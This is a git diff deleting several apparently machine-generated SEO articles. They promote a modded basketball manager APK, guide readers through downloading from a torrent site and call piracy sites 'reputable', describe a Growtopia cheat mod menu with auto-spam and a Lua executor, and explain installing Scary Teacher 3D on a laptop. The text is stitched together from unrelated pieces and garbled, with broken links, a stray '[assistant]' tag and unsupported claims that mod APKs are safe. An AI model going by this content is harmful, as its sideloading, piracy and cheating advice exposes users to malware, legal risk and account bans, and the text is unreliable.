-<p>Astonishing Basketball Manager Mod APK is not your usual basketball game. It's not only about stats and ratings. It's not just drafting prospects, trading players, exploring strategies and signing stars, or building a dynasty. In this game, you're writing your own basketball GM and coach life story with one goal in mind: win the Cup.</p>
-<p>You can manage every aspect of your team, from roster management to stadium management. You can scout college players from different universities, draft future stars, negotiate contracts and free agency, make trades, set training plans, hire staff, and more. You can also choose from different game modes, such as career mode, story mode, online mode, or custom mode.</p>
-<p>You can also influence the game on the court by calling timeouts, making substitutions, changing strategies, or using special skills. You can adapt your tactics to your players' strengths and weaknesses, or to your opponents' style. You can also follow the scoreboard, the rankings, the awards, the media predictions, the interviews, and the reactions from the fans, reporters, and players.</p>
- <h3>Many game modes and online events</h3>
-<p>Astonishing Basketball Manager Mod APK offers many game modes for different tastes and preferences. You can play offline or online, with or without ads. Here are some of the game modes available:</p>
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-<li>Career mode: Start your basketball career as a coach or GM of any team in the league. You can choose from different difficulty levels and seasons lengths. You can also create your own star player with the new "My Franchise Player" mode.</li>
-<li>Story mode: Play as "The Prodigy", a young prospect who has to make his way from college to the Hall of Fame. You can choose from different scenarios and make decisions that will affect your career.</li>
-<li>Online mode: Compete with other players in various online events, such as Legends Contest, Draft Contest, or Franchise Contest. You can also join leagues and tournaments with your friends or other managers.</li>
-<li>Custom mode: Create your <p>If you are interested in downloading and installing Astonishing Basketball Manager Mod APK on your device, here are some steps you need to follow:</p>
- <h3>Requirements and compatibility</h3>
-<p>Before you download and install Astonishing Basketball Manager Mod APK, you need to make sure that your device meets the following requirements:</p>
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-<li>Your device must have Android 4.4 or higher operating system.</li>
-<li>Your device must have at least 100 MB of free storage space.</li>
-<li>Your device must allow the installation of apps from unknown sources. You can enable this option by going to Settings > Security > Unknown Sources.</li>
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-<p>Astonishing Basketball Manager Mod APK is compatible with most Android devices, including smartphones and tablets. However, some devices may not support the game or the mod features. If you encounter any problems or errors, you can contact the developers or the modders for assistance.</p>
- <h3>Steps to download and install</h3>
-<p>Once you have checked the requirements and compatibility, you can proceed to download and install Astonishing Basketball Manager Mod APK by following these steps:</p>
-<ol>
-<li>Go to the official website of Astonishing Basketball Manager Mod APK or any trusted source that provides the mod file. You can also use the link provided below.</li>
-<li>Download the mod file to your device. The file size is about 80 MB.</li>
-<li>Locate the mod file on your device and tap on it to start the installation process.</li>
-<li>Follow the instructions on the screen and wait for the installation to complete.</li>
-<li>Launch the game and enjoy!</li>
-</ol>
-<p>You can also watch this video tutorial for more details:</p>
- <iframe width="560" height="315" src="https://www.youtube.com/embed/9m7Z8Qy0X2g" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
- <h3>Tips and tricks for playing Astonishing Basketball Manager Mod APK</h3>
-<p>To help you get started with Astonishing Basketball Manager Mod APK, here are some tips and tricks that you can use:</p>
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-<li>Use the unlimited money and resources wisely. Don't spend them all at once or you might lose interest in the game. Try to balance your budget and your team performance.</li>
-<li>Explore different game modes and online events. They offer different challenges and rewards that can enhance your game experience.</li>
-<li>Use mods and community content to customize your game. You can find many mods and content on the official website or on other platforms, such as Reddit, Discord, or Facebook.</li>
-<li>Learn from other players and managers. You can join leagues and tournaments with other players or watch their videos and streams. You can also ask for advice or feedback from other users on forums or social media.</li>
-<li>Have fun and enjoy the game. Don't take it too seriously or get frustrated by losses or mistakes. Remember that it's just a game and a story that you can shape with your choices and actions.</li>
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- <h2>Conclusion</h2>
-<p>Astonishing Basketball Manager Mod APK is a great game for basketball and management fans. It offers a lot of features, benefits, and options that make it fun and realistic. It also gives you unlimited money and resources, no ads and no internet required, and customization and modding options that make it more enjoyable.</p>
-<p>If you want to download and install Astonishing Basketball Manager Mod APK on your device, you can follow the steps we provided above. You can also use our tips and tricks to help you play the game better. We hope that this article was helpful and informative for you.</p>
-<p>If you liked this article, please share it with your friends and family who might be interested in Astonishing Basketball Manager Mod APK. Also, feel free to leave a comment below if you have any questions or feedback about the game or the mod. We would love to hear from you!</p>
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-<p>Here are some frequently asked questions about Astonishing Basketball Manager Mod APK:</p>
- <h4>Is Astonishing Basketball Manager Mod APK safe to use?</h4>
-<p>Yes, Astonishing Basketball Manager Mod APK is safe to use as long as you download it from a trusted source. We recommend using the official website of Astonishing Basketball Manager Mod APK or any other source that we provide in this article. However, we cannot guarantee the safety of any other sources that may offer the mod file. Therefore, we advise you to be careful and cautious when downloading any mod files from unknown sources.</p>
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-<p>Astonishing Basketball Manager Mod APK is not an official product of <a href="(^1^ Astonishing Basketball Manager Mod APK is not an official product of <a href="">Aerilys</a>, the original developer of Astonishing Basketball Manager. It is a fan-made modification that alters some aspects of the game. Therefore, it is not endorsed or supported by Aerilys or any other official entity. However, it is not illegal to use Astonishing Basketball Manager Mod APK as long as you do not violate any terms of service or infringe any intellectual property rights. You should also respect the work and rights of the original developer and the modders, and give them proper credit and recognition. <h4>Can I play Astonishing Basketball Manager Mod APK with my friends?</h4>
-<p>Yes, you can play Astonishing Basketball Manager Mod APK with your friends online or offline. You can join leagues and tournaments with other players, or create your own league with your friends. You can also chat with other players and managers, or send them messages and gifts. However, you should be aware that some online features or events may not work properly or may be disabled if you use Astonishing Basketball Manager Mod APK. You should also respect the rules and etiquette of the online community, and avoid cheating or exploiting the game.</p>
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-<p>Yes, you can update Astonishing Basketball Manager Mod APK whenever a new version is available. You can check for updates on the official website of Astonishing Basketball Manager Mod APK or on any other source that provides the mod file. You can also enable the auto-update option in the game settings to receive notifications and updates automatically. However, you should be careful when updating Astonishing Basketball Manager Mod APK, as some updates may not be compatible with your device or may cause errors or bugs in the game. You should also backup your game data before updating, in case something goes wrong.</p>
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diff --git a/spaces/congsaPfin/Manga-OCR/logs/H33t.to The Fastest and Easiest Way to Download Torrents.md b/spaces/congsaPfin/Manga-OCR/logs/H33t.to The Fastest and Easiest Way to Download Torrents.md
deleted file mode 100644
index fe897590801e18a174f560c861ccaca207ee4b58..0000000000000000000000000000000000000000
--- a/spaces/congsaPfin/Manga-OCR/logs/H33t.to The Fastest and Easiest Way to Download Torrents.md	
+++ /dev/null
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-<li>H33t.to may contain malware-infected files that can harm your device or compromise your data. Malware is malicious software that can perform unwanted actions on your device, such as stealing your personal information, deleting your files, encrypting your data, displaying ads, etc. Some malware can also spread to other devices on your network or use your device as part of a botnet.</li>
-<li>H33t.to may expose you to legal issues if you download copyrighted content without permission. Copyright is a legal right that grants the creator of a work exclusive control over its use and distribution. Downloading or sharing copyrighted content without permission is considered piracy and can result in fines or lawsuits.</li>
-<li>H33t.to may subject you to ISP monitoring or throttling if you download large amounts of data. ISP stands for internet service provider, which is the company that provides you with internet access. ISPs can monitor your online activity and see what sites you visit and what files you download. ISPs can also throttle your bandwidth or speed if they detect excessive or illegal downloading.</li>
-<li>H33t.to may make you vulnerable to cyberattacks from hackers or other malicious actors who can intercept your traffic or access your device. Hackers can exploit the vulnerabilities of the BitTorrent protocol or the torrent sites to gain access to your IP address, location, device information, browsing history, etc. Hackers can also use various techniques to hijack your downloads, inject malware into your files, redirect you to phishing sites, etc.</li>
-</ul>
-<p>Therefore, it is important to take precautions to protect yourself and your device when downloading from H33t.to or any other torrent site.</p> <h2>How to Download from H33t.to Safely and Anonymously</h2>
-<p>To download from H33t.to safely and anonymously, you need to use some tools and tips that can help you hide your identity, encrypt your traffic, scan your files, and verify your sources. Here are the steps you need to follow:</p>
-<h3>Using a VPN service</h3>
-<p>A VPN, or virtual private network, is a service that creates a secure and encrypted connection between your device and a remote server. A VPN can help you download from H33t.to safely and anonymously by:</p>
-<ul>
-<li>Hiding your IP address and location from your ISP, hackers, and other third parties. Your IP address is a unique identifier that can reveal your personal information and online activity. By using a VPN, you can mask your IP address and appear as if you are connecting from a different location.</li>
-<li>Encrypting your traffic and preventing anyone from snooping on your data. Your traffic is the information that you send and receive over the internet, such as the sites you visit, the files you download, the messages you send, etc. By using a VPN, you can encrypt your traffic and make it unreadable to anyone who tries to intercept it.</li>
-<li>Bypassing geo-restrictions and censorship that may block access to H33t.to or other torrent sites. Some countries or regions may ban or restrict access to torrent sites for legal or political reasons. By using a VPN, you can change your virtual location and access any site you want.</li>
-</ul>
-<p>However, not all VPN services are created equal. Some VPN services may be slow, insecure, or incompatible with torrenting. To choose a VPN service that is suitable for downloading from H33t.to, you should look for the following features:</p>
-<ul>
-<li>Strong encryption and security protocols that can protect your data and prevent leaks. You should look for VPN services that use AES-256 encryption, which is the industry standard for security. You should also look for VPN services that use OpenVPN or IKEv2 protocols, which are the most reliable and compatible with torrenting.</li>
-<li>Fast and stable speeds and bandwidth that can support fast and uninterrupted downloads. You should look for VPN services that have a large network of servers in different locations, which can provide you with more options and better performance. You should also look for VPN services that have unlimited bandwidth and no throttling, which can ensure that your downloads are not slowed down or stopped.</li>
-<li>No-logs policy and privacy-friendly jurisdiction that can guarantee your anonymity and prevent any data retention or sharing. You should look for VPN services that do not keep any logs of your online activity or personal information, which can protect you from any legal or ethical issues. You should also look for VPN services that are based in countries or regions that have favorable privacy laws and do not cooperate with surveillance agencies.</li>
-<li>P2P support and kill switch feature that can enable torrenting and prevent any leaks. You should look for VPN services that allow P2P traffic on their servers, which can enable you to download from H33t.to or any other torrent site. You should also look for VPN services that have a kill switch feature, which can automatically disconnect your internet connection if your VPN connection drops, preventing any exposure of your IP address or traffic.</li>
-</ul>
-<p>Some examples of VPN services that meet these criteria are ExpressVPN, NordVPN, Surfshark, CyberGhost, etc. To use a VPN service to download from H33t.to safely and anonymously, you need to follow these steps:</p>
-<ol>
-<li>Sign up for a VPN service of your choice and download its app on your device.</li>
-<li>Launch the app and log in with your credentials.</li>
-<li>Select a server location that is close to you or has high speed and P2P support.</li>
-<li>Connect to the server and verify that your IP address and location have changed.</li>
-<li>Open your browser and go to H33t.to or any other torrent site you want to use.</li>
-</ol> <h3>Using a trusted torrent client</h3>
-<p>A torrent client is a software that allows you to download and upload torrent files using the BitTorrent protocol. A torrent client can help you download from H33t.to safely and anonymously by:</p>
-<ul>
-<li>Managing your downloads and uploads, allowing you to pause, resume, prioritize, or cancel them as you wish.</li>
-<li>Optimizing your connection and bandwidth, allowing you to download faster and more efficiently.</li>
-<li>Verifying the integrity and authenticity of your files, allowing you to avoid corrupted or fake torrents.</li>
-<li>Supporting magnet links, allowing you to download torrents without downloading the torrent file first.</li>
-</ul>
-<p>However, not all torrent clients are created equal. Some torrent clients may be outdated, insecure, or incompatible with magnet links. To choose a torrent client that is suitable for downloading from H33t.to, you should look for the following features:</p>
-<ul>
-<li>Regular updates and bug fixes that can ensure the functionality and security of the software.</li>
-<li>Minimal or no ads that can interfere with your user experience or expose you to malware.</li>
-<li>User-friendly and customizable interface that can make it easy to use and adjust to your preferences.</li>
-<li>Magnet link support that can enable you to download torrents without downloading the torrent file first.</li>
-</ul>
-<p>Some examples of torrent clients that meet these criteria are uTorrent, BitTorrent, qBittorrent, Deluge, etc. To use a torrent client to download from H33t.to safely and anonymously, you need to follow these steps:</p>
-<ol>
-<li>Download and install a torrent client of your choice on your device.</li>
-<li>Launch the torrent client and adjust the settings according to your needs. For example, you can limit the download and upload speed, change the download location, enable encryption, etc.</li>
-<li>Go to H33t.to or any other torrent site you want to use and find the torrent file or magnet link of the content you want to download.</li>
-<li>If you are using a torrent file, download it and open it with your torrent client. If you are using a magnet link, copy it and paste it in your torrent client.</li>
-<li>Wait for the torrent client to connect to the peers and start downloading the file. You can monitor the progress and status of your download on the torrent client.</li>
-</ol> <h3>Using an antivirus software</h3>
-<p>An antivirus software is a software that can detect and remove malware from your device. Malware is malicious software that can perform unwanted actions on your device, such as stealing your personal information, deleting your files, encrypting your data, displaying ads, etc. An antivirus software can help you download from H33t.to safely and anonymously by:</p>
-<ul>
-<li>Scanning your downloads and removing any malware that may be hidden in them.</li>
-<li>Protecting your device from any malware that may try to infect it while you are downloading or browsing.</li>
-<li>Alerting you of any suspicious or malicious activity on your device or network.</li>
-<li>Updating itself regularly to keep up with the latest malware threats and definitions.</li>
-</ul>
-<p>However, not all antivirus software are created equal. Some antivirus software may be ineffective, outdated, or incompatible with torrenting. To choose an antivirus software that is suitable for downloading from H33t.to, you should look for the following features:</p>
-<ul>
-<li>Real-time protection and scanning that can monitor your device and downloads continuously and remove any malware as soon as it is detected.</li>
-<li>Comprehensive and up-to-date malware database that can identify and eliminate any type of malware, including viruses, worms, trojans, ransomware, spyware, adware, etc.</li>
-<li>Torrent-friendly and lightweight performance that can work well with torrenting and not slow down your device or downloads.</li>
-<li>User-friendly and customizable interface that can make it easy to use and adjust to your preferences.</li>
-</ul>
-<p>Some examples of antivirus software that meet these criteria are Malwarebytes, Norton, Kaspersky, Bitdefender, etc. To use an antivirus software to download from H33t.to safely and anonymously, you need to follow these steps:</p>
-<ol>
-<li>Download and install an antivirus software of your choice on your device.</li>
-<li>Launch the antivirus software and adjust the settings according to your needs. For example, you can enable or disable real-time protection, schedule scans, exclude certain files or folders, etc.</li>
-<li>Scan your device and downloads regularly with the antivirus software and remove any malware that is found.</li>
-<li>Update your antivirus software frequently to keep it updated with the latest malware threats and definitions.</li>
-</ol> <h3>Using a reputable torrent site</h3>
-<p>A torrent site is a website that provides access to torrent files or magnet links that can be downloaded using a torrent client. A torrent site can help you download from H33t.to safely and anonymously by:</p>
-<ul>
-<li>Providing you with a large and diverse selection of content that you can choose from.</li>
-<li>Verifying the quality and authenticity of the torrents that are uploaded by users or moderators.</li>
-<li>Filtering out any fake or malicious torrents that may harm your device or data.</li>
-<li>Giving you feedback and reviews from other users who have downloaded the same torrents.</li>
-</ul>
-<p>However, not all torrent sites are created equal. Some torrent sites may be unsafe, unreliable, or illegal. To choose a torrent site that is suitable for downloading from H33t.to, you should look for the following features:</p>
-<ul>
-<li>Secure and encrypted connection that can protect your privacy and data. You should look for torrent sites that use HTTPS protocol, which is a secure version of HTTP protocol. HTTPS protocol can encrypt your connection and prevent anyone from snooping on your traffic.</li>
-<li>Reliable and updated content that can ensure the availability and quality of the torrents. You should look for torrent sites that have a high number of seeders and leechers, which can indicate the popularity and speed of the torrents. You should also look for torrent sites that have frequent updates and new uploads, which can indicate the freshness and diversity of the content.</li>
-<li>Verified and trusted torrents that can guarantee the safety and authenticity of the files. You should look for torrent sites that have a verification system, such as badges, icons, or symbols, that can indicate the status and quality of the torrents. You should also look for torrent sites that have user ratings, comments, or reviews, that can give you feedback and opinions from other users who have downloaded the same torrents.</li>
-</ul>
-<p>H33t.to is one of the reputable torrent sites that meet these criteria. However, if you want to use other torrent sites, you should do some research and check their reputation and legality before using them. Some examples of other reputable torrent sites are The Pirate Bay, RARBG, 1337x, etc. To use a reputable torrent site to download from H33t.to safely and anonymously, you need to follow these steps:</p>
-<ol>
-<li>Go to H33t.to or any other torrent site you want to use and find the torrent file or magnet link of the content you want to download.</li>
-<li>Check the verification status, ratings, comments, or reviews of the torrent to make sure it is safe and authentic.</li>
-<li>Download the torrent file or copy the magnet link and open it with your torrent client.</li>
-<li>Wait for your torrent client to connect to the peers and start downloading the file. You can monitor the progress and status of your download on your torrent client.</li>
-</ol>
-<h2>Conclusion</h2>
-<p>Downloading from H33t.to can be a great way to get free access to various content, such as movies, music, software, games, etc. However, downloading from H33t.to can also be risky if you don't take precautions to protect yourself and your device. You can download from H33t.to safely and anonymously by using a VPN service, a trusted torrent client, an antivirus software, and a reputable torrent site. These tools and tips can help you hide your identity, encrypt your traffic, scan your files, and verify your sources. By following these steps, you can enjoy downloading from H33t.to without any worries or hassles.</p>
-<h2>FAQs</h2>
-<p>Here are some frequently asked questions about downloading from H33t.to safely and anonymously:</p>
-<h4>Is downloading from H33t.to legal?</h4>
-<p>The legality of downloading from H33t.to depends on the content you are downloading and the laws of your country or region. Some content on H33t.to may be protected by copyright laws, which means [assistant](#message) you need permission from the owner or creator to download or share it. Downloading or sharing such content without permission may be considered piracy and may result in legal consequences. However, some content on H33t.to may be in the public domain or under fair use laws, which means you can download or share it without permission. Downloading or sharing such content may be legal in some countries or regions. Therefore, you should always check the legal status of the content you are downloading and the laws of your country or region before downloading from H33t.to.</p>
-<h4>Is downloading from H33t.to free?</h4>
-<p>Yes, downloading from H33t.to is free. You don't need to pay any fees or subscriptions to use H33t.to or any of the torrent sites or torrent clients that are compatible with it. However, you may need to pay for a VPN service or an antivirus software to enhance your security and privacy when downloading from H33t.to. These tools are optional but highly recommended for safe and anonymous torrenting.</p>
-<h4>How can I access H33t.to if it is blocked in my country?</h4>
-<p>If H33t.to or any other torrent site is blocked in your country or region, you can use a VPN service to bypass the block and access the site. A VPN service can change your virtual location and make it appear as if you are connecting from a different country or region where the site is not blocked. To access H33t.to using a VPN service, you need to follow these steps:</p>
-<ol>
-<li>Sign up for a VPN service of your choice and download its app on your device.</li>
-<li>Launch the app and log in with your credentials.</li>
-<li>Select a server location that is not blocked by your country or region and has high speed and P2P support.</li>
-<li>Connect to the server and verify that your IP address and location have changed.</li>
-<li>Open your browser and go to H33t.to or any other torrent site you want to use.</li>
-</ol>
-<h4>How can I speed up my downloads from H33t.to?</h4>
-<p>The speed of your downloads from H33t.to depends on various factors, such as the number of seeders and leechers, the size and quality of the file, the speed and bandwidth of your internet connection, the settings and performance of your torrent client, etc. To speed up your downloads from H33t.to, you can try the following tips:</p>
-<ul>
-<li>Choose torrents that have a high number of seeders and leechers, which can indicate the popularity and availability of the file. You can sort the results by seeders or leechers on H33t.to or any other torrent site.</li>
-<li>Choose torrents that have a low size and quality, which can reduce the download time and bandwidth consumption. You can check the size and quality of the file on H33t.to or any other torrent site.</li>
-<li>Optimize your internet connection and bandwidth, which can improve the download speed and efficiency. You can do this by closing any unnecessary programs or apps that may use your internet connection, using a wired connection instead of a wireless one, avoiding peak hours when the internet traffic is high, etc.</li>
-<li>Optimize your torrent client settings and performance, which can enhance the download speed and functionality. You can do this by limiting the download and upload speed, increasing the number of connections, enabling encryption, updating your torrent client regularly, etc.</li>
-</ul>
-<h4>How can I avoid fake or low-quality torrents on H33t.to?</h4>
-<p>Fake or low-quality torrents are torrents that are not what they claim to be or have poor quality or content. Fake or low-quality torrents may contain malware, viruses, spam, ads, etc. Fake or low-quality torrents may also have low resolution, poor audio, missing subtitles, incomplete files, etc. To avoid fake or low-quality torrents on H33t.to, you can try the following tips:</p>
-<ul>
-<li>Check the verification status, ratings, comments, or reviews of the torrent on H33t.to or any other torrent site. These indicators can help you determine the safety and quality of the torrent based on the feedback and opinions of other users who have downloaded it.</li>
-<li>Check the details of the torrent file or magnet link on H33t.to or any other torrent site. These details can help you verify the authenticity and quality of the file based on its name, size, hash, screenshots, description, etc.</li>
-<li>Scan your downloads with an antivirus software before opening them. This can help you detect and remove any malware that may be hidden in them.</li>
-</ul></p> 197e85843d<br />
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-<br />
-<h1>How to Download APK PKUY Growtopia and Enjoy Its Features</h1>
-<p>If you are a fan of Growtopia, a popular free-to-play sandbox game, you might be interested in downloading APK PKUY Growtopia, a mod menu that allows you to access various features and hacks in the game. In this article, we will show you how to download and install APK PKUY Growtopia on your Android device, and how to use its features to enhance your gaming experience.</p>
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- <h2>What is Growtopia and APK PKUY Growtopia?</h2>
-<h3>Growtopia: A Creative Sandbox Game</h3>
-<p>Growtopia is a multiplayer online game where you can create your own worlds, explore thousands of others, and interact with millions of players. You can discover and collect thousands of unique items, craft new ones, trade them with other players, and play mini-games. You can also customize your character with different outfits, hairstyles, accessories, and more. Growtopia is available on Android, iOS, PC, Mac, Xbox One, and Nintendo Switch platforms.</p>
- <h3>APK PKUY Growtopia: A Mod Menu for Growtopia</h3>
-<p>APK PKUY Growtopia is a mod menu that allows you to access various features and hacks in Growtopia. It was created by PowerKuy, a YouTube channel that showcases different mods and cheats for various games. APK PKUY Growtopia is compatible with the latest version of Growtopia (v4.16) and has a developer build with lua executor implemented. Some of the features of APK PKUY Growtopia include auto farm, auto cook, auto surg, auto spam, grass x wheat autofarm, developer mode, dev console, and more.</p>
- <h2>How to Download and Install APK PKUY Growtopia on Android Devices</h2>
-<h3>Step 1: Enable Unknown Sources on Your Device</h3>
-<p>Before you can install APK PKUY Growtopia on your device, you need to enable unknown sources in your settings. This will allow you to install apps from sources other than the Google Play Store. To do this, follow these steps:</p>
-<ul>
-<li>Go to your device's settings and tap on Security or Privacy.</li>
-<li>Find the option that says Unknown Sources or Install Unknown Apps and toggle it on.</li>
-<li>A warning message will pop up. Tap on OK or Allow to confirm.</li>
-</ul>
- <h3>Step 2: Download the APK File from a Trusted Source</h3>
-<p>Next, you need to download the APK file of APK PKUY Growtopia from a trusted source. You can find the link to the latest version of the mod menu on PowerKuy's YouTube channel or GitHub page. Alternatively, you can use this link to download it directly. Make sure you have enough storage space on your device before downloading the file.</p>
- <h3>Step 3: Install the APK File and Launch the Game</h3>
-<p>Once you have downloaded the APK file, you need to install it on your device. To do this, follow these steps:</p>
-<ul>
-<li>Locate the APK file in your device's file manager or downloads folder.</li>
-<li>Tap on the file and select Install.</li>
-<li>A message will ask - A message will ask you to confirm the installation. Tap on Install again.</li>
-<li>Wait for the installation to finish. You may see a message that says the app is not compatible with your device. Ignore it and tap on Done.</li>
-<li>Launch the game from your app drawer or home screen. You will see a message that says APK PKUY Growtopia is loading. Wait for a few seconds until the mod menu appears.</li>
-</ul>
- <h2>How to Use APK PKUY Growtopia and Its Features</h2>
-<h3>How to Access the Mod Menu and Customize It</h3>
-<p>After launching the game, you will see a mod menu icon on the top left corner of your screen. Tap on it to open the mod menu. You will see a list of features and hacks that you can enable or disable by tapping on the switches. You can also customize the mod menu by tapping on the settings icon on the top right corner of the mod menu. You can change the color, size, position, and transparency of the mod menu according to your preference.</p>
- <h3>Some of the Features of APK PKUY Growtopia</h3>
-<h4>Auto Farm, Auto Cook, Auto Surg, Auto Spam, and More</h4>
-<p>One of the most useful features of APK PKUY Growtopia is the auto farm feature. This feature allows you to automatically farm items, gems, seeds, and more in the game without doing anything. You can also use the auto cook feature to automatically cook food items, the auto surg feature to automatically perform surgery on other players, and the auto spam feature to automatically send messages in the chat. These features can help you save time and effort in the game.</p>
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- <h4>Grass x Wheat Autofarm</h4>
-<p>Another feature of APK PKUY Growtopia is the grass x wheat autofarm feature. This feature allows you to automatically farm grass and wheat seeds in the game by using a glitch. You can use this feature to get unlimited seeds and gems in the game. To use this feature, you need to have at least one grass seed and one wheat seed in your inventory. Then, follow these steps:</p>
-<ul>
-<li>Go to any world that has dirt blocks.</li>
-<li>Plant a grass seed on a dirt block.</li>
-<li>Plant a wheat seed on top of the grass seed.</li>
-<li>Tap on the mod menu icon and enable the grass x wheat autofarm feature.</li>
-<li>Wait for a few seconds until you see a message that says "Done".</li>
-<li>Punch or break the dirt block to collect your seeds and gems.</li>
-</ul>
- <h4>Lua Executor</h4>
-<p>Lua executor is a feature that allows you to execute lua scripts in Growtopia. Lua is a programming language that is used to create mods and cheats for various games. With lua executor, you can run any lua script that you want in Growtopia and access more features and hacks that are not available in APK PKUY Growtopia. To use lua executor, you need to have a lua script file in your device's storage. Then, follow these steps:</p>
-<ul>
-<li>Tap on the mod menu icon and tap on Lua Executor.</li>
-<li>A file explorer will open. Navigate to the folder where you have your lua script file.</li>
-<li>Select your lua script file and tap on Open.</li>
-<li>A message will ask you to confirm the execution. Tap on Yes.</li>
-<li>The lua script will run in Growtopia and you will see its effects.</li>
-</ul>
- <h4>Developer Mode and Dev Console</h4>
-<p>Developer mode and dev console are features that allow you to access developer options and commands in Growtopia. Developer options are settings that are hidden from normal users and are used for testing and debugging purposes. Developer commands are commands that are used by developers to control various aspects of the game. With developer mode and dev console, you can access these options and commands and modify the game according to your liking. To use developer mode and dev console, follow these steps:</p>
-<ul>
-<li>Tap on the mod menu icon and enable Developer Mode.</li>
-<li>A message will say "Developer Mode Enabled". Tap on OK.</li>
-<li>To access developer options, go to your settings menu in Growtopia and scroll down until you see Developer Options.</li>
-<li>To access developer commands, go to your chat box in Growtopia and type /devconsole.</li>
-<li>A developer console will appear on your screen. You can type any command that you want and press enter to execute it.</li>
-</ul>
- <h2>Conclusion and FAQs</h2>
-<p>In conclusion, APK PKUY Growtopia is a mod menu that allows you to access various features and hacks in Growtopia. It It is easy to download and install on your Android device, and you can customize it according to your preference. You can use it to auto farm, auto cook, auto surg, auto spam, grass x wheat autofarm, lua executor, developer mode, dev console, and more. However, you should be careful when using it, as it may violate the game's terms of service and result in a ban or suspension. You should also use it at your own risk, as it may contain bugs or viruses that could harm your device or data. Therefore, you should always download it from a trusted source and scan it with an antivirus before installing it. Here are some FAQs that you may have about APK PKUY Growtopia: - Q: Is APK PKUY Growtopia free to use? - A: Yes, APK PKUY Growtopia is free to use and does not require any payment or subscription. - Q: Is APK PKUY Growtopia safe to use? - A: APK PKUY Growtopia is not an official app from the developers of Growtopia, and it may contain bugs or viruses that could harm your device or data. Therefore, you should always download it from a trusted source and scan it with an antivirus before installing it. You should also use it at your own risk, as it may violate the game's terms of service and result in a ban or suspension. - Q: How do I update APK PKUY Growtopia? - A: APK PKUY Growtopia is updated regularly by PowerKuy to match the latest version of Growtopia. You can check for updates on PowerKuy's YouTube channel or GitHub page. Alternatively, you can use this link to download the latest version of the mod menu. - Q: How do I uninstall APK PKUY Growtopia? - A: To uninstall APK PKUY Growtopia, you need to delete the APK file from your device's storage and clear the game's data and cache. To do this, follow these steps:   - Go to your device's settings and tap on Apps or Applications.   - Find and tap on Growtopia.   - Tap on Storage and then tap on Clear Data and Clear Cache.   - Go back to your device's file manager or downloads folder and locate the APK file of APK PKUY Growtopia.   - Tap and hold on the file and select Delete. - Q: Where can I find more information about APK PKUY Growtopia? - A: You can find more information about APK PKUY Growtopia on PowerKuy's YouTube channel or GitHub page. You can also join their Discord server or Telegram group to chat with other users and get support.</p> 401be4b1e0<br />
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-<h1>How to Download Scary Teacher 3D on Laptop</h1>
-<p>Scary Teacher 3D is a popular action game that challenges you to prank and scare your evil high school teacher while solving puzzles and finding clues. The game has over 100 million downloads on Google Play Store and is rated 4.2 stars by more than one million users. But what if you want to play this game on a bigger screen, with better graphics, and more control options? In this article, we will show you how to download and play Scary Teacher 3D on your laptop using two different methods. You will also learn some tips and tricks to enhance your gaming experience and earn rewards while playing this game on your PC.</p>
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- <h2>What You Need to Play Scary Teacher 3D on Laptop</h2>
-<p>To play Scary Teacher 3D on your laptop, you will need the following things:</p>
-<h3>A Windows 10 PC with enough storage and graphics</h3>
-<p>The minimum requirements to run Scary Teacher 3D on your laptop are:</p>
-<ul>
-<li>OS: Windows 10 (v2004)</li>
-<li>Storage: Solid state drive (SSD) with at least 10 GB of available storage space</li>
-<li>Graphics: IntelⓇ UHD Graphics 630 GPU or comparable</li>
-<li>Processor: Four CPU physical cores (some games require an Intel CPU)</li>
-<li>Memory: Eight GB of RAM</li>
-<li>Windows admin account</li>
-<li>Hardware virtualization must be turned on</li>
-</ul>
-<p>To learn more about these requirements, visit the <a href="(^5^)">Google Play Games Help Center</a>.</p>
-<h3>An Android emulator like BlueStacks or a phone app like Your Phone</h3>
-<p>An Android emulator is a software that lets you run Android apps and games on your PC. BlueStacks is one of the most popular and trusted Android emulators that has over one billion users worldwide. It lets you sign in to Google Play Store and download any game you want from its vast library. You can also use BlueStacks features like Eco Mode, Macros, Script, Multi-Instance, Multi-Instance Sync, etc. to improve your gameplay performance and efficiency.</p>
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-<p>A phone app like Your Phone is another <p>A phone app like Your Phone is another option to play Scary Teacher 3D on your laptop. Your Phone is a Microsoft app that lets you link your Android phone and your PC and access your phone's apps, photos, messages, notifications, etc. on your PC. You can also use your PC's keyboard and mouse to control your phone's apps and games.</p>
-<h3>A Google account to access Google Play Store</h3>
-<p>To download and play Scary Teacher 3D on your laptop, you will need a Google account to sign in to Google Play Store. If you don't have one, you can create one for free <a href="">here</a>. You will also need to agree to the Google Play Terms of Service and Privacy Policy.</p>
- <h2>How to Download and Install Scary Teacher 3D on Laptop Using BlueStacks</h2>
-<p>Here are the steps to download and install Scary Teacher 3D on your laptop using BlueStacks:</p>
-<h3>Step 1: Download and install BlueStacks from its official website</h3>
-<p>Go to the <a href="">BlueStacks website</a> and click on the Download BlueStacks button. The download will start automatically. Once the download is complete, open the installer file and follow the instructions to install BlueStacks on your PC.</p>
-<h3>Step 2: Sign in to Google Play Store or do it later</h3>
-<p>After installing BlueStacks, launch it and sign in to Google Play Store with your Google account. You can also skip this step and do it later when you install Scary Teacher 3D.</p>
-<h3>Step 3: Search for Scary Teacher 3D in the search bar</h3>
-<p>On the home screen of BlueStacks, you will see a search bar at the top right corner. Type Scary Teacher 3D in the search bar and hit enter.</p>
-<h3>Step 4: Click on the search result and install the game</h3>
-<p>You will see a list of search results related to Scary Teacher 3D. Click on the one that has the game icon and the name Scary Teacher 3D by Z & K Games. This will take you to the game page on Google Play Store. Click on the Install button and wait for the game to download and install on your PC.</p>
-<h3>Step 5: Complete Google sign-in if you skipped step 2 and start playing</h3>
-<p>If you skipped step 2, you will need to complete Google sign-in before you can play Scary Teacher 3D on your PC. Follow the instructions on the screen to sign in with your Google account. Once you are done, you can start playing Scary Teacher 3D on your laptop using BlueStacks.</p>
- <h2>How to Download and Install Scary Teacher 3D on Laptop Using Your Phone</h2>
-<p>Here are the steps to download and install Scary Teacher 3D on your laptop using Your Phone:</p>
-<h3>Step 1: Download and install Your Phone app from Microsoft Store on your PC</h3>
-<p>Go to the <a href="">Microsoft Store</a> and search for Your Phone app. Click on the app icon and then click on the Get button. The app will download and install on your PC.</p>
-<h3>Step 2: Link your PC and your Android phone using a QR code or a Microsoft account</h3>
-<p>Launch Your Phone app on your PC and follow the instructions to link your PC and your Android phone. You can either scan a QR code with your phone's camera or sign in with a Microsoft account on both devices.</p>
-<h3>Step 3: Access your phone's apps on your PC and find Scary Teacher 3D</h3>
